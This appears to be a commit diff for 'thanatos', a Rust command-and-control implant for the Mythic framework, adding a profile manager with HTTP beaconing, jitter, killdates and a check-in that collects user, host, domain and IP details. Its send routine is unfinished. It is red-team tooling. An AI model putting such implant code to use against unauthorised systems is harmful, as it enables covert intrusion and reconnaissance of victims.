chore: start writing profile management

Payload_Type/thanatos/agent/thanatos/core/src/lib.rs

@@ -1,21 +1,20 @@
 #![forbid(unsafe_code)]
 
-use agent::Agent;
-use chrono::{DateTime, TimeDelta};
+use errors::ThanatosError;
 use prost::Message;
-use thanatos_protos::config::{config::Profile, Config, InitAction};
-use timecheck::{check_working_hours, passed_killdate};
+use thanatos_protos::config::{Config, InitAction};
+
+use crate::profile_mgr::manager::ProfileManager;
 
-mod agent;
 mod crypto;
 mod errors;
 mod guardrails;
 mod logging;
+mod profile_mgr;
 mod system;
-mod timecheck;
 
 pub fn entrypoint(config: &[u8]) {
-    let agent_config = match thanatos_protos::config::Config::decode(config) {
+    let agent_config = match Config::decode(config) {
         Ok(c) => c,
         Err(e) => {
             log!("Failed to decode config: {:?}", e);
@@ -27,66 +26,57 @@ pub fn entrypoint(config: &[u8]) {
         return;
     }
 
-    if !profiles_available(&agent_config) {
-        log!("All profiles have passed their killdates");
-        return;
-    }
-
     match agent_config.initaction() {
-        InitAction::None => run_agent(agent_config),
+        InitAction::None => {
+            if let Err(e) = run_agent(agent_config) {
+                log!("{:?}", e);
+            }
+        }
         InitAction::Thread => {
             std::thread::spawn(|| run_agent(agent_config));
         }
+        #[cfg(target_os = "linux")]
         InitAction::Fork => {
-            #[cfg(target_os = "linux")]
-            {
-                use ffiwrappers::linux::fork;
-                match fork::fork() {
-                    Ok(fork::ForkProcess::Child) => run_agent(agent_config),
-                    Err(e) => {
-                        log!("Failed to fork process: {:?}", e);
-                    }
-                    _ => (),
+            use ffiwrappers::linux::fork;
+            match fork::fork() {
+                Ok(fork::ForkProcess::Child) => {
+                    let _ = run_agent(agent_config);
+                }
+                Err(e) => {
+                    log!("Failed to fork process: {:?}", e);
                 }
+                _ => (),
             }
+        }
 
-            #[cfg(target_os = "windows")]
-            run_agent(agent_config);
+        #[cfg(target_os = "windows")]
+        InitAction::Fork => {
+            if let Err(e) = run_agent(agent_config) {
+                log!("{:?}", e);
+            }
         }
     };
 }
 
-fn run_agent(agent_config: Config) {
-    if let Some(working_hours) = agent_config.working_hours.as_ref() {
-        let start_time = TimeDelta::minutes(working_hours.start.into());
-        let end_time = TimeDelta::minutes(working_hours.end.into());
-        if let Some(Ok(sleep_delta)) = check_working_hours(start_time, end_time).map(|v| v.to_std())
-        {
-            std::thread::sleep(sleep_delta);
-            if !profiles_available(&agent_config) {
-                log!("All profiles have passed their killdates");
+fn run_agent(agent_config: Config) -> Result<(), ThanatosError> {
+    let manager = ProfileManager::new(&agent_config);
+    std::thread::scope(|scope| {
+        let profiles = match manager.run(scope) {
+            Ok(mgr) => mgr,
+            Err(e) => {
+                log!("Failed to run profiles: {:?}", e);
                 return;
             }
-        }
-    }
+        };
 
-    if let Ok(agent_instance) = Agent::perform_checkin(agent_config) {
-        agent_instance.run();
-    }
-}
-
-fn profiles_available(agent_config: &Config) -> bool {
-    let http_active = if let Some(Profile::Http(profile)) = agent_config.profile.as_ref() {
-        DateTime::from_timestamp(profile.killdate as i64, 0)
-            .map(|killdate| !passed_killdate(killdate))
-            .unwrap_or(false)
-    } else {
-        false
-    };
+        while profiles.running() {
+            log!("Agent thread waiting for message");
+            let _msg = match profiles.receiver.recv() {
+                Ok(m) => m,
+                Err(_) => break,
+            };
+        }
+    });
 
-    if !http_active {
-        false
-    } else {
-        true
-    }
+    Ok(())
 }

Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/beacon.rs

@@ -0,0 +1,101 @@
+use std::time::Duration;
+
+use chrono::{DateTime, Utc};
+use crossbeam_channel::{select, tick, Receiver, Sender};
+use profiles::beacon::http::HttpC2Profile;
+use thanatos_protos::{
+    config::Config,
+    msg::{AgentMessage, MythicResponse},
+};
+
+use crate::{errors::ThanatosError, log};
+
+use super::ipc::ProfileIPCMsg;
+
+pub struct BeaconManager {
+    callback_interval: u32,
+    callback_jitter: u32,
+    http: Option<HttpManager>,
+}
+
+struct HttpManager {
+    killdate: DateTime<Utc>,
+    aeskey: Option<[u8; 32]>,
+    profile: HttpC2Profile,
+}
+
+impl BeaconManager {
+    pub fn new(config: &Config) -> Option<BeaconManager> {
+        let mut callback_jitter = 0;
+        let mut callback_interval = 0;
+
+        let http = config.http.as_ref().and_then(|http| {
+            callback_interval = http.callback_interval;
+            callback_jitter = http.callback_jitter;
+            let killdate = DateTime::from_timestamp(http.killdate as i64, 0)?;
+
+            let profile = HttpC2Profile::new(http);
+
+            let aeskey: Option<[u8; 32]> = if !http.aes_key.is_empty() {
+                http.aes_key[..].try_into().ok()
+            } else {
+                None
+            };
+            Some(HttpManager {
+                killdate,
+                profile,
+                aeskey,
+            })
+        });
+
+        if http.is_none() {
+            return None;
+        }
+
+        Some(BeaconManager {
+            callback_interval,
+            callback_jitter,
+            http,
+        })
+    }
+
+    pub fn run(
+        mut self,
+        sender: Sender<MythicResponse>,
+        receiver: Receiver<ProfileIPCMsg>,
+    ) -> Result<(), ThanatosError> {
+        while self.http.is_some() {
+            log!("Beacon thread polling");
+
+            select! {
+                recv(receiver) -> received => {
+                    match received {
+                        Ok(ProfileIPCMsg::UpdateSleep{ interval, jitter }) => self.update_sleep(interval, jitter),
+                        Ok(ProfileIPCMsg::C2Data(data)) => sender.send(self.send_data(data)?).unwrap(),
+                        Err(_) => continue,
+                    }
+                },
+                recv(tick(Duration::from_secs(5))) -> _ => (),
+            }
+
+            log!("Beacon thread poll finished");
+            let current_time: DateTime<Utc> = std::time::SystemTime::now().into();
+            let _ = self.http.take_if(|http| http.killdate <= current_time);
+        }
+
+        Ok(())
+    }
+
+    fn update_sleep(&mut self, interval: u32, jitter: u32) {
+        self.callback_interval = interval;
+        self.callback_jitter = jitter;
+    }
+
+    fn send_data(&mut self, data: AgentMessage) -> Result<MythicResponse, ThanatosError> {
+        std::thread::sleep(std::time::Duration::from_secs(
+            self.callback_interval as u64,
+        ));
+
+        todo!();
+    }
+}

Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/handler.rs

@@ -0,0 +1,85 @@
+use std::thread::ScopedJoinHandle;
+
+use crossbeam_channel::{Receiver, Sender};
+use thanatos_protos::msg::{
+    agent_checkin_message::PlatformInfo, agent_message::Message, AgentCheckinMessage, AgentMessage,
+    Architecture, LinuxInfo, MythicResponse,
+};
+
+use crate::{errors::ThanatosError, system};
+
+use super::ipc::ProfileIPCMsg;
+
+// TODO: Check working hours
+// TODO: Check profile killdates
+
+pub struct ProfileHandler<'scope> {
+    beacons: Option<ManagedProfile<'scope>>,
+    pub receiver: Receiver<MythicResponse>,
+}
+
+pub(super) struct ManagedProfile<'scope> {
+    sender: Sender<ProfileIPCMsg>,
+    handle: ScopedJoinHandle<'scope, ()>,
+}
+
+impl<'scope> ProfileHandler<'scope> {
+    pub(super) fn new(
+        beacons: Option<ManagedProfile<'scope>>,
+        receiver: Receiver<MythicResponse>,
+    ) -> Result<ProfileHandler<'scope>, ThanatosError> {
+        #[cfg(target_os = "linux")]
+        let platform_info = PlatformInfo::Linux(LinuxInfo {
+            distro: system::distro(),
+            kernel: system::kernel(),
+            selinux: false,
+            container: system::container_environment().map(|e| e.into()),
+        });
+
+        let checkin_data = AgentCheckinMessage {
+            user: system::username().ok(),
+            host: system::hostname().ok(),
+            pid: Some(std::process::id()),
+            architecture: system::architecture()
+                .unwrap_or_else(|| {
+                    if std::mem::size_of::<usize>() == 8 {
+                        Architecture::X8664
+                    } else {
+                        Architecture::X86
+                    }
+                })
+                .into(),
+            domain: system::domain().ok(),
+            integrity_level: Some(2),
+            process_name: system::process_name().ok(),
+            ips: system::internal_ips().unwrap_or_default(),
+            platform_info: Some(platform_info),
+        };
+
+        if let Some(beacon) = beacons.as_ref() {
+            beacon
+                .sender
+                .send(ProfileIPCMsg::C2Data(AgentMessage {
+                    message: Some(Message::Checkin(checkin_data)),
+                }))
+                .unwrap();
+        }
+
+        Ok(Self { beacons, receiver })
+    }
+
+    pub fn running(&self) -> bool {
+        self.beacons
+            .as_ref()
+            .is_some_and(|beacons| !beacons.handle.is_finished())
+    }
+}
+
+impl<'scope> ManagedProfile<'scope> {
+    pub fn new(
+        sender: Sender<ProfileIPCMsg>,
+        handle: ScopedJoinHandle<'scope, ()>,
+    ) -> ManagedProfile<'scope> {
+        Self { sender, handle }
+    }
+}

Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/ipc.rs

@@ -0,0 +1,6 @@
+use thanatos_protos::msg::AgentMessage;
+
+pub enum ProfileIPCMsg {
+    UpdateSleep { interval: u32, jitter: u32 },
+    C2Data(AgentMessage),
+}

Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/manager.rs

@@ -0,0 +1,40 @@
+use std::thread::Scope;
+
+use thanatos_protos::config::Config;
+
+use crate::{errors::ThanatosError, log, profile_mgr::handler::ManagedProfile};
+
+use super::{beacon::BeaconManager, handler::ProfileHandler};
+
+pub struct ProfileManager {
+    beacons: Option<BeaconManager>,
+}
+
+impl ProfileManager {
+    pub fn new(config: &Config) -> ProfileManager {
+        let beacons = BeaconManager::new(config);
+        ProfileManager { beacons }
+    }
+
+    pub fn run<'scope, 'env: 'scope>(
+        mut self,
+        scope: &'scope Scope<'scope, 'env>,
+    ) -> Result<ProfileHandler<'scope>, ThanatosError> {
+        let (sender, receiver) = crossbeam_channel::unbounded();
+
+        let beacons = self.beacons.take().map(|beacons| {
+            let new_sender = sender.clone();
+            let (profile_sender, profile_receiver) = crossbeam_channel::unbounded();
+            ManagedProfile::new(
+                profile_sender,
+                scope.spawn(|| {
+                    if let Err(e) = beacons.run(new_sender, profile_receiver) {
+                        log!("{:?}", e);
+                    }
+                }),
+            )
+        });
+
+        ProfileHandler::new(beacons, receiver)
+    }
+}

Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/mod.rs

@@ -0,0 +1,5 @@
+mod beacon;
+mod ipc;
+
+pub mod handler;
+pub mod manager;